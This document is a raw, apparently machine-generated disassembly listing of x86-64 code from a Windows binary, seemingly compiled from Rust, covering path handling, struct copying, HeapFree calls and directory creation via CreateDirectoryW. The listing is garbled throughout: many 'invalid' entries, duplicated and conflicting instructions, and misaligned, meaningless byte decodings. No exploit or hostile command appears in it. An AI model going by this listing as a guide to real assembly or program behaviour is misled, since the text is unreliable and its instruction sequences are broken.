stc
pop rsp
je 0x1400dbd0b
cmp al, 5
jae case.0x1400db97b.33
invalid
lea rcx, [rbp + 0xc0]
lea rcx, [rbp + 0xc0]
lea ecx, [rbp + 0xc0]
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
mov edx, edi
mov r8, r14
call fcn.1400d8190
movzx r8d, byte [rbp + 0xc0]
mov rax, qword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
mov dh, 0x85
rol byte [rax], 0
test eax, eax
add byte [rax], al
add byte [rax - 0x75], cl
test eax, edx
rol byte [rax], 1
add byte [rax], al
invalid
invalid
xchg ebp, eax
loopne 0x1400dbd31
mov eax, dword [rbp + 0xd0]
rol byte [rax], 1
add byte [rax], al
mov rdx, qword [rbp + 0xe0]
mov edx, dword [rbp + 0xe0]
add byte [rax], al
lea rcx, [0x140178c40]
lea ecx, [0x140178c40]
movsxd r9, dword [rcx + r8*4]
invalid
or al, 0x81
add r9, rcx
jmp r9
jmp rcx
jmp rcx
lea rcx, [rax + 4]
jmp 0x1400dc1df
xchg edx, eax
add al, 0
add byte [rbp - 0x7c], al
invalid
invalid
test r12b, r12b
in al, 0xf
test byte [rsi - 4], bh
invalid
je 0x1400db9d4
lea edx, [0x1401496a8]
adc eax, 0x6d94b
invalid
mov r8d, 1
mov eax, 1
mov rcx, rbx
mov ecx, ebx
fld1
test ecx, esi
call fcn.1400daef0
invalid
jmp 0x1400db9d4
cld
invalid
lea rdx, [rax + 1]
test rax, rax
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], 0x44
invalid
invalid
invalid
cmove rdx, rax
add rcx, rdx
add rcx, 8
ror dword [rax], 0xeb
invalid
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
or bl, ch
and byte [rcx + 6], bh
mov ecx, 6
invalid
add byte [rax], al
add bl, ch
sbb dword [rax - 0x73], ecx
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp case.0x1400ca0d6.800
invalid
add al, byte [rax]
add byte [rax], al
jmp case.0x1400ca0d6.800
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp case.0x1400ca0d6.800
mov ecx, 2
add byte [rax], al
add byte [rcx + rdi - 0x17], cl
cmp rcx, r13
ja 0x1400dc265
add byte [rax], al
jne 0x1400dbdb3
adc eax, 0x48f10148
mov edx, ecx
movzx eax, byte [rdx]
cmp al, 0x2f
sete cl
sar dword [rsp + rbx*2], 0xf
xchg esp, eax
invalid
sar dword [rsp + rbx*2], 0xf
xchg esp, eax
ror byte [rax], 0xc8
or al, cl
or al, cl
enter 0xffffffffffff8b48, 0xffffffffffffff8d
mov rcx, qword [rbp + 0x88]
mov byte [rax], al
add byte [rax], al
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xf0], ecx
add byte [rdi], cl
adc byte [rbp + 0x68], al
movups xmm0, xmmword [rbp + 0x68]
movups xmm1, xmmword [rbp + 0x78]
movups xmmword [rbp + 0xe0], xmm1
add byte [rax], al
js 0x1400dbdee
add byte [rax], al
movups xmmword [rbp + 0xd0], xmm0
rol byte [rax], 1
add byte [rax], al
mov qword [rbp + 0xc0], rsi
add byte [rax], al
mov qword [rbp + 0xc8], r13
add byte [rax], al
mov word [rbp + 0xf8], 0x200
add byte [rax], al
add byte [rdx], al
mov byte [rbp + 0xfa], al
lea rsi, [rbp + 0x69]
add byte [rax], al
add byte [rax - 0x73], cl
jne 0x1400dbe76
lea rdi, [rbp + 0x68]
lea edi, [rbp + 0x68]
jge 0x1400dbe79
lea rbx, [rbp + 0xc0]
xor r15d, r15d
popfq
rol byte [rax], 0
add byte [rbp + 0x31], al
invalid
jmp 0x1400dbe66
nop qword [r8]
nop dword [rax]
mov rax, qword [rbp + 0x118]
imul rcx, r14, 0x38
invalid
invalid
test dword [rax], ebx
add dword [rax], eax
add byte [rcx + 0x6b], cl
invalid
cmp byte [rax + rcx*4 + 0x24], al
or byte [rdi], cl
invalid
mov byte [rax + rcx], r12b
movups xmm0, xmmword [rsi]
adc byte [rsi], al
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
adc byte [rsi + 0x20], dl
adc byte [rsi + 0x20], dl
and byte [rdi], cl
adc dword [rax + rcx + 1], eax
invalid
movups xmmword [rax + rcx + 1], xmm0
add dword [rdi], ecx
adc dword [rax + rcx + 0x11], ecx
movups xmmword [rax + rcx + 0x11], xmm1
movups xmmword [rax + rcx + 0x21], xmm2
adc dword [rax + rcx + 0x21], edx
push rsp
or byte [rcx], ah
mov rdx, qword [rsi + 0x2f]
mov qword [rax + rcx + 0x30], rdx
mov dword [rax + rcx + 0x30], edx
invalid
mov dword [rax + rcx + 0x30], edx
cmp r13, 1
cmp ebp, 1
add dword [rax + 1], edi
mov eax, 1
sbb rax, 0xffffffffffffffff
mov qword [rbp + 0x120], rax
test dword [rax], esp
add dword [rax], eax
invalid
test dword [rax], esp
add dword [rax], eax
add dh, al
test dword [rdi], ebp
add dword [rax], eax
add byte [rax], al
and byte [rcx], al
add byte [rax], al
mov byte [rbp + 0x12f], 0
mov rcx, rdi
mov rdx, rbx
mov edx, ebx
mov edx, ebx
call fcn.1400d8630
movzx r12d, byte [rbp + 0x68]
invalid
inc dword [rdi + rcx - 0x4a]
push 0xafc8041
cmp r12b, 0xa
cmp r12b, 0xa
cmp ah, 0xa
je 0x1400dbf84
lea eax, [r12 - 6]
lea ecx, [r12 - 5]
cmp al, 4
movzx eax, cl
cmovae eax, r15d
cmovae eax, edi
cmovae eax, edi
invalid
cmp al, 1
je 0x1400dbee0
movzx eax, al
mov dh, 0xc0
cmp eax, 2
je 0x1400dbe66
add dh, byte [rax + rax*8 - 0x7d]
clc
add esi, dword [rbp + 0x75]
cmp eax, 3
jne case.0x1400db908.56
mov rax, qword [rbp + 0x120]
test dword [rax], esp
add dword [rax], eax
add byte [rax - 0x7b], cl
test rax, rax
je 0x1400dbe66
invalid
invalid
lea ebx, [rax]
test rax, rax
je 0x1400dbe66
mov rcx, qword [rbp + 0x118]
dec rax
add dword [rax], eax
add byte [rax - 1], cl
enter 0x6b48, 0xffffffffffffffd0
imul rdx, rax, 0x38
cmp byte [rcx + rdx], 9
adc dword [rcx], ecx
invalid
imul rdx, rax, 0x38
cmp byte [rcx + rdx], 9
adc dword [rcx], ecx
jne 0x1400dbe66
wait
mov qword [rbp + 0x120], rax
add bl, ch
xchg edx, eax
add bl, ch
xchg edx, eax
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov rax, qword [rbp + 0x110]
adc byte [rcx], al
add byte [rax], al
mov r13, qword [rbp + 0x120]
xor r14d, r14d
xor esi, esi
xor esi, esi
test r13, r13
setne r14b
mov qword [rbp + 0x120], r14
invalid
add byte [rcx + rdi - 0x10], cl
cmp rax, r14
jne 0x1400dbe20
sbb bh, bh
invalid
invalid
mov byte [rbp + 0x12f], 0
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [rax]
add dword [rax], eax
add byte [rax], al
invalid
lea rcx, [rbp + 0x110]
add byte [rax], al
call fcn.1400d9970
push rbp
invalid
invalid
jmp 0x1400dbe20
invalid
mov r13, qword [rbp + 0x120]
mov ebp, dword [rbp + 0x120]
cmp r13, qword [rbp + 0x110]
cmp ebp, dword [rbp + 0x110]
jne case.0x140019144.3436
adc eax, esi
mov byte [rbp + 0x12f], 0
test dword [rdi], ebp
add dword [rax], eax
add byte [rax], al
invalid
lea rcx, [rbp + 0x110]
call fcn.1400d9970
lea edx, [rax]
add dword [rax], eax
add al, ch
call fcn.1400d9970
mov rax, qword [rbp + 0x118]
mov rax, qword [rbp + 0x118]
imul rcx, r13, 0x38
imul ecx, ebp, 0x38
mov byte [rax + rcx], r12b
mov byte [rax + rcx], ah
and al, 8
or byte [rdi], cl
adc byte [rsi], al
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
adc byte [rsi + 0x10], cl
adc byte [rdi], r9b
adc byte [rsi + 0x20], dl
movups xmm2, xmmword [rsi + 0x20]
movups xmmword [rax + rcx + 1], xmm0
movups xmmword [rax + rcx + 0x11], xmm1
adc dword [rax + rcx + 0x11], ecx
adc dword [rax + rcx + 0x11], ecx
or byte [rcx], dl
movups xmmword [rax + rcx + 0x21], xmm2
or byte [rcx], ah
and dword [rax - 0x75], ecx
push rsi
invalid
mov rdx, qword [rsi + 0x2f]
mov edx, dword [rsi + 0x2f]
mov qword [rax + rcx + 0x30], rdx
inc r13
mov qword [rbp + 0x120], r13
invalid
add cl, ch
jmp 0x1400dbe66
loop 0x1400dbf80
invalid
mov qword [rbp + 0x48], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
push r8
add dword [rax], eax
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x50], 1
mov qword [rbp + 0x58], 0
add byte [rax], al
add dh, al
mov byte [rbp + 0x60], 1
mov rax, qword [rbp + 0x110]
mov eax, dword [rbp + 0x110]
invalid
add dword [rax - 0x75], ecx
mov eax, dword [rbp + 0x110]
test dword [rax], edx
adc byte [rcx], al
add dword [rax], eax
add byte [rax - 0x77], cl
test dword [rax + 0x48000000], edi
mov eax, dword [rbp + 0x118]
add byte [rax], al
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x108], rax
mov dword [rbp + 0x108], eax
test dword [rax], ecx
or byte [rcx], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x120]
mov eax, dword [rbp + 0x120]
test dword [rax], esp
add dword [rax], eax
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
mov es, word [rcx]
add byte [rax], al
invalid
add byte [rax], al
test rax, rax
je 0x1400dc15a
invalid
add byte [rax + 0x6b], cl
invalid
imul rsi, rax, 0x38
mov rbx, qword [rbp + 0x108]
popfq
or byte [rcx], al
add byte [rax], al
popfq
or byte [rcx], al
add dword [rax], eax
add byte [rax + 1], cl
invalid
invalid
add byte [rax], al
add rsi, rbx
fimul word [rbp + rcx*4 - 0x5b]
lea r12, [rbp + 0xc1]
lea r14, [0x140178c90]
or dword [rax], eax
movsd dword [rdi], dword [rsi]
rol dword [rax], 0
add byte [rbp + rcx*4 + 0x35], cl
test al, 0xcc
or dword [rax], eax
add byte [rcx], dh
shr bl, 0xf
xor eax, eax
jmp 0x1400dbffb
xor eax, eax
add rbx, 0x38
cmp rbx, rsi
cmp ebx, esi
ret
cmp byte [rax + 0x39], cl
je 0x1400dc15a
je 0x1400dc15a
cmp ebx, esi
je 0x1400dc15a
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x3b
movzx edi, byte [rbx]
cmp edi, 0xa
je 0x1400dc15a
test byte [rbx + 1], dl
add byte [rax], al
test byte [rbx + 1], dl
add byte [rax], al
mov byte [rbp + 0xc0], dil
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
xor byte [r9 - 0x77], cl
xor byte [rcx - 0x77], cl
mov rcx, qword [rbx + 0x30]
mov qword [r12 + 0x2f], rcx
xor byte [rcx - 0x77], cl
and al, 0x2f
movups xmm0, xmmword [rbx + 1]
movups xmm1, xmmword [rbx + 0x11]
movups xmm2, xmmword [rbx + 0x21]
and dword [rcx + 0xf], eax
adc dword [rsp + 0x20], edx
push rsp
and al, 0x20
movups xmmword [r12 + 0x20], xmm2
push rsp
and al, 0x20
movups xmmword [r12 + 0x10], xmm1
and al, 0x10
movups xmmword [r12], xmm0
add al, 0x24
and al, 0xa8
add dword [rbp + rbp + 0x48], esi
invalid
invalid
test al, 1
je 0x1400dc065
invalid
lea rcx, [rbp + 0xc0]
lea ecx, [rbp + 0xc0]
invalid
rol byte [rax], 0
add byte [rax - 0x73], cl
invalid
invalid
lea rdx, [0x1401497e8]
adc eax, 0x6d7a2
add al, ch
invalid
call fcn.1400d8a10
test al, al
leave
invalid
jne 0x1400dc065
invalid
mov r8d, 1
add byte [rax], al
lea rcx, [rbp + 0x48]
lea rdx, [0x1401496a8]
lea edx, [0x1401496a8]
adc eax, 0x6d648
invalid
invalid
call fcn.1400daef0
lea r13d, [rdi - 6]
lea eax, [rdi - 5]
sti
sti
cmp r13b, 4
movzx eax, al
mov dh, 0xc0
std
add al, 0xf
mov dh, 0xc0
mov ecx, 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rdi], cl
cmovae eax, ecx
mov r15, qword [rbp + 0xd0]
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
movzx eax, al
ror dword [r11 + r9*4 - 0x43], 0xd0
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
invalid
invalid
movzx eax, al
ror byte [rbx + 0x63], 4
xchg byte [rcx + rax - 0x10], cl
add eax, esi
movsxd rax, dword [r14 + r8*4]
add rax, r14
add eax, esi
add eax, esi
jmp rax
mov rdx, qword [rbp + 0xe8]
xchg ebp, eax
call 0x18c0dc097
mov eax, dword [rbp + 0xf0]
lock add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x7b], cl
mov r8, qword [rbp + 0xf0]
lock add byte [rax], al
add bl, ch
add byte [rax], al
jmp 0x1400dc0d0
xor dword [rax - 0x75], ecx
xchg ebp, eax
enter 0, 0
mov r8, r15
clc
jmp 0x1400dc0d0
add dword [rax], eax
add byte [rax], al
lea rdx, [0x1401496a9]
jmp 0x1400dc0d0
invalid
add bl, ch
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x95c45
or dword [rax], eax
jmp 0x1400dc0d0
lea rcx, [rbp + 0x48]
lea ecx, [rbp + 0x48]
call fcn.1400daef0
call fcn.1400daef0
movzx ecx, r13b
inc rcx
cmp r13b, 4
mov eax, 0
cmovae rcx, rax
invalid
invalid
enter 0xffffffffffff8348, 0xfffffffffffffff9
add dword [rdi], ecx
invalid
cmp rcx, 1
je 0x1400dbfec
test ch, dh
invalid
invalid
mov al, 1
test rcx, rcx
jne 0x1400dbfee
loopne 0x1400dc107
add byte [rax], al
mov ecx, edi
lea rdx, [0x140178ca4]
adc eax, 0x9cb92
adc eax, 0x9cb92
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
add r15, 4
jmp 0x1400dc14f
lea rcx, [rax + 1]
lea ecx, [rax + 1]
test rax, rax
cmove rcx, rax
add r15, rcx
ror byte [rax + 0xf], 0x44
enter 0x149, 0xffffffffffffffcf
add r15, 8
jmp 0x1400dc14f
mov r15d, 6
jmp 0x1400dc14f
lea rcx, [rax + 1]
test rax, rax
test eax, eax
test eax, eax
ror byte [rax + 0xf], 0x44
enter 0x149, 0xffffffffffffffcf
cmove rcx, rax
add r15, rcx
add r15, 2
test r15, r15
setne al
jmp 0x1400dbfee
xchg esp, eax
invalid
invalid
invalid
xchg esp, eax
invalid
cmp qword [rbp + 0xb8], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x140182260]
je 0x1400dc17a
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0x108]
add byte [rax], al
add byte [rax], al
add bh, bh
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x361e6
add byte [rax - 0x75], cl
mov rsi, qword [rbp + 0x30]
cmp qword [rsi], 0
je 0x1400dc197
jne 0x1400dc1ae
xor byte [rax - 0x7d], cl
add byte ds:[rbx + rdx + 0x4c], dh
mov eax, dword [rsi + 8]
invalid
mov r8, qword [rsi + 8]
or byte [rax - 0x75], cl
or eax, 0xa60d1
invalid
mov rcx, qword [0x140182260]
add byte [rcx], dh
xor edx, edx
sar bh, cl
adc eax, 0x361c9
add eax, dword [rax]
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
movups xmm0, xmmword [rbp + 0x48]
adc byte [rbp + 0x48], al
movups xmm1, xmmword [rbp + 0x58]
movups xmmword [rsi + 0x10], xmm1
invalid
adc byte [rdi], cl
adc dword [rsi], eax
movups xmmword [rsi], xmm0
jmp case.0x1400b984a.853
dec dword [rax - 0x73]
lea rcx, [rdx + 1]
lea ecx, [rdx + 1]
add qword [rax - 0x7b], rcx
ror byte [rax + 0xf], cl
retf 0x148
test rdx, rdx
cmove rcx, rdx
add rcx, rax
add rcx, 2
jmp 0x1400dc1df
invalid
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
add bl, ch
jmp 0x1400dc1df
sbb dword [rax - 0x73], ecx
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rcx, rax
add rcx, 8
jmp 0x1400dc1df
add qword [rax - 0x7b], rcx
add dword [rax - 0x7b], ecx
ror byte [rax + 0xf], cl
retf 0x148
mov ecx, 2
add al, byte [rax]
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
int1
add byte [rax], al
cmp rcx, r14
int1
ja case.default.0x1400dc1f5
mov ecx, r8d
mov ecx, eax
lea r8, [0x140178c5c]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
add rax, 4
add eax, 4
rol byte [rbx + rbp*8], 0x38
jmp 0x1400dc235
xor eax, eax
jmp 0x1400dc23e
invalid
cmp eax, 0x14a8d48
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rax, rcx
add rax, 2
jmp 0x1400dc235
invalid
and byte [rax + 6], bh
mov eax, 6
invalid
jmp 0x1400dc235
lea rcx, [rdx + 1]
test rdx, rdx
cmove rcx, rdx
add rax, rcx
add rax, 8
jmp 0x1400dc235
mov eax, 2
add byte [rax], al
add byte [rcx + 0x39], cl
cmp r14, rax
invalid
jb 0x1400db9d4
mov qword [rbx + 0x10], rax
jmp 0x1400db9d4
lea r8, str.library_std_srcpath.rs
invalid
invalid
mov rdx, r14
call fcn.1401082c0
rol byte [rdx], 0
rol byte [rdx], 0
add al, byte [rax]
lea r8, str.library_std_srcpath.rs
mov rdx, r13
call fcn.1401082c0
rol byte [rdx], 0
rol byte [rdx], 0
mov byte [rbp + 0x12f], 0
invalid
add dword [rax], eax
add byte [rax], al
lea r8, str.library_std_srcpath.rs
mov rdx, r13
sbb eax, 0x4c0006d4
mov edx, ebp
invalid
call fcn.1401082c0
ud2
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0xe0
loopne 0x1400dc285
add byte [rax], al
add al, ch
xor al, 0xbd
add al, byte [rax]
invalid
add byte [rax], al
call fcn.140107fc0
add ah, cl
nop dword [rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
int3
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0xb8], 0
je 0x1400dc2cc
mov rcx, qword [0x140182260]
pop rdi
or al, byte [rax]
xor edx, edx
mov r8, qword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
mov eax, dword [rbp + 0x108]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x48], 0
je 0x1400dc2e6
invalid
adc ecx, dword [rbx + rcx*4 + 0x45]
push rax
mov r8, qword [rbp + 0x50]
mov eax, dword [rbp + 0x50]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
pop rdi
or al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rbp + 0x12f], 1
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
add dword [rax - 0x7d], ecx
invalid
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push r15
push rdi
push r14
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0xa0], 0
mov ebp, 0xa0
invalid
mov ebp, 0xa0
add byte [rsi + rdx + 0x4c], dh
add byte [rax], al
add byte [rax], al
je 0x1400dc33c
mov r8, qword [rbp + 0xa8]
mov eax, dword [rbp + 0xa8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x12f], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + 0x20], dh
jne 0x1400dc395
cmp qword [rbp + 0x110], 0
mov ebp, 0x110
invalid
je 0x1400dc395
jne 0x1400dc395
mov ebp, 0x110
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbp + 0x118]
mov r8, qword [rbp + 0x118]
mov rcx, qword [0x140182260]
or al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
loopne 0x1400dc438
lea ecx, [rbp - 0x40]
lea rdx, [rbp - 0x28]
call fcn.1400db160
mov rdi, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x38]
cmp rdi, rbx
jne 0x1400dc419
fbstp tbyte [rbp + 0xc]
mov rax, rsi
invalid
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, rsi
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateDirectoryW]
invalid
add byte [rbp + 0x481b74c0], al
test edi, edi
test eax, eax
je 0x1400dc443
test rdi, rdi
je 0x1400dc46d
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x35f21
adc eax, 0x35f21
xor eax, eax
jmp case.0x1400db908.58
invalid
shr bl, 0xcd
int 0xff
adc eax, 0x35fef
invalid
call qword [sym.imp.kernel32.dll_GetLastError]
add byte [rax - 0x3f], cl
loopne 0x1400dc46d
shl rax, 0x20
or rax, 2
test rdi, rdi
add cl, byte [rax - 0x7b]
push qword [rdx + rdi*4 + 0x48]
je case.0x1400db908.58
mov rcx, qword [0x140182260]
je case.0x1400db908.58
mov rcx, qword [0x140182260]
or eax, 0xa5e03
or al, byte [rax]
add byte [rcx], dh
xor edx, edx
mov r8, rsi
mov rsi, rax
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400dc40d
invalid
ror byte [rcx - 0x77], cl
invalid
invalid
movabs al, byte [0xcccccccc9febc031]
int3
xor eax, eax
jmp case.0x1400db908.58
lahf
int3
int3
int3
int3
int3
int3
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x1e8
in al, dx
call 0x1880dc495
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
invalid
test dword [rax + 1], esp
add byte [rax], al
mov qword [rbp + 0x160], 0xfffffffffffffffe
mov dword [rbp + 0x160], 0xfffffffe
invalid
invalid
mov rbx, rdx
mov ebx, edx
ror dword [rax - 0x77], cl
iretd
mov rdi, rcx
lea rcx, [rbp + 0xb0]
lea ecx, [rbp + 0xb0]
lea esi, [rax + 0x48000000]
mov edx, edi
mov al, 0
add byte [rax], al
mov rdx, rdi
mov r8, rbx
call fcn.1400d8190
movzx eax, byte [rbp + 0xb0]
test dword [rax + 0x48000000], esi
mov ecx, dword [rbp + 0xc0]
invalid
rol byte [rax], 0
add byte [rax], al
invalid
mov al, 0
add byte [rax], al
add byte [rax - 0x75], cl
add byte [rax], al
mov rcx, qword [rbp + 0xc0]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
rol byte [rax], 1
add byte [rax], al
mov rdx, qword [rbp + 0xd0]
add byte [rax], al
movzx r8d, al
lea r9, [0x140178cbc]
lea ecx, [0x140178cbc]
ror byte [rbp + rcx*4 + 0xd], 0xde
lea ecx, [0x140178cbc]
faddp st(7)
invalid
or dword [rax], eax
add byte [rdi + 0x63], cl
adc al, 0x81
movsxd r10, dword [r9 + r8*4]
add r10, r9
mov r8, rbx
mov eax, ebx
mov r9, rdi
jmp r10
jmp rdx
jmp rdx
add rcx, 4
rol dword [rbx + rbp*8], 0x34
add al, 0xeb
xor al, 0x4c
lea r8, [rdx + 1]
jmp case.0x1400d8aa8.143
lea r8, [rdx + 1]
add dword [rax - 0x7b], ecx
add dword [rax - 0x7b], ecx
test rdx, rdx
test edx, edx
ror byte [rdi + rcx + 0x44], cl
cmove r8, rdx
cmove eax, edx
ret 0x14c
add rcx, r8
add rcx, 8
ror dword [rax], 0xeb
invalid
ror dword [rax - 0x7d], 0xc1
or bl, ch
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
add byte [rax], al
jmp case.0x1400d8aa8.143
lea r8, [rdx + 1]
lea eax, [rdx + 1]
test rdx, rdx
test edx, edx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
cmove r8, rdx
add rcx, r8
ror dword [rax - 0x7d], 0xc1
add ch, bl
invalid
add eax, 0x2b9
add byte [rcx - 0x77], cl
invalid
invalid
mov ecx, 2
add al, byte [rax]
add byte [rax], al
mov r8, rbx
sub r8, rcx
sub eax, ecx
fmul dword [rcx + 0x29]
enter 0xffffffffffff820f, 0x63
add eax, 0x1480000
add byte [rax], al
invalid
invalid
sub eax, ecx
jb 0x1400dca97
add byte [rax], al
add rcx, rdi
stc
mov r9, rcx
mov ecx, ecx
test r8, r8
je 0x1400dc553
movzx ecx, byte [r9]
cmp cl, 0x2f
sete dl
ret 0xf980
pop rsp
ret 0xf980
stc
pop rsp
sete cl
or cl, dl
ror dword [rax], 0xd1
jmp 0x1400dc555
xor ecx, ecx
mov rdx, qword [rbp + 0xd0]
mov qword [rbp + 0x5f], rdx
movups xmm0, xmmword [rbp + 0xb1]
invalid
mov cl, 0
add byte [rax], al
test dword [rcx + 0xf000000], esi
adc byte [rbp + 0xc1], cl
invalid
rol dword [rax], 0
invalid
add byte [rax], al
movups xmm1, xmmword [rbp + 0xc1]
invalid
movaps xmmword [rbp + 0x50], xmm1
movaps xmmword [rbp + 0x40], xmm0
test rbx, rbx
je case.0x1400d8ec4.185
invalid
cmp al, 6
invalid
jne case.0x1400a4d60.1012
jmp 0x1400dc5a1
cmp al, 3
add ecx, dword [rdi]
sbb dword [rax + 0x48000002], 0xffffff8b
mov rdx, qword [rbp + 0x5f]
jae case.0x1400d8ec4.170
mov rdx, qword [rbp + 0x5f]
mov qword [rbp + 0x2f], rdx
movaps xmm0, xmmword [rbp + 0x40]
movaps xmm1, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x50]
sub byte [rbp + 0x50], cl
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x10], xmm0
mov rsi, rdi
mov qword [rbp + 0x120], rdi
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0xa8], rbx
mov qword [rbp + 0x128], rbx
add byte [rax - 0x77], cl
popfq
sub byte [rcx], al
add byte [rax], al
mov byte [rbp + 0x130], al
movaps xmm0, xmmword [rbp + 0x10]
movaps xmm1, xmmword [rbp + 0x20]
sub byte [rbp + 0x20], cl
sub byte [rbp + 0x20], cl
movups xmmword [rbp + 0x131], xmm0
adc dword [rbp + 0x131], eax
movups xmmword [rbp + 0x141], xmm1
mov rax, qword [rbp + 0x2f]
mov qword [rbp + 0x150], rax
mov word [rbp + 0x158], 0x200
mov byte [rbp + 0x15a], cl
mov qword [rbp + 0x68], 1
mov qword [rbp + 0x70], 0
mov byte [rbp + 0x78], 6
mov word [rbp + 0xa0], 0x200
test dword [rax], esp
invalid
invalid
test dword [rax], esp
add al, dh
mov byte [rbp + 0xa2], 0
mov byte [rbp + 0xa2], 0
add byte [rax - 0x73], cl
fmul dword [r8 - 0x73]
xchg ebp, eax
lea rcx, [rbp - 0x28]
lea rdx, [rbp + 0x120]
and byte [rcx], al
add byte [rax], al
and byte [rcx], al
add byte [rax], al
call fcn.1400dcb40
cmp byte [rbp - 0x28], 0xa
add eax, 0x7d800000
fmul dword [rdx]
je case.0x1400dc1f5.35
test byte [rbx + 0x48000000], ah
lea rbx, [rbp + 0xe8]
lea ebx, [rbp + 0xe8]
call 0x18c0dc635
lea esi, [rbp - 0x60]
jne 0x1400dc5d8
lea r14, [rbp - 0x60]
jne 0x1400dc5d8
lea r15, [rbp + 0x68]
lea r12, [rbp + 0xb0]
lea r13, [rbp - 0x28]
lea ebp, [rbp - 0x28]
lea ebp, [rbp - 0x28]
lea rdi, [rbp + 0x120]
add byte [rax], al
nop
mov rcx, r14
mov rdx, r15
call fcn.1400dcb40
add al, 0
add byte [rax + 0xf0aa07d], al
or cl, byte [rdi]
invalid
mov byte [rax], al
add byte [rax], al
add al, 0
add byte [rax + 0xf0aa07d], al
or cl, byte [rdi]
or cl, byte [rdi]
test byte [rax + 0x48000000], cl
mov rax, qword [rbp + 8]
mov eax, dword [rbp + 8]
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xe0], eax
loopne 0x1400dc66e
add byte [rax], al
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
movups xmm2, xmmword [rbp - 8]
adc byte [rbp - 8], dl
push rbp
clc
push rbp
clc
movaps xmmword [rbp + 0xd0], xmm2
xchg ebp, eax
rol byte [rax], 1
add byte [rax], al
invalid
add byte [rdi], cl
sub dword [rbp + 0xc0], ecx
invalid
rol byte [rax], 0
invalid
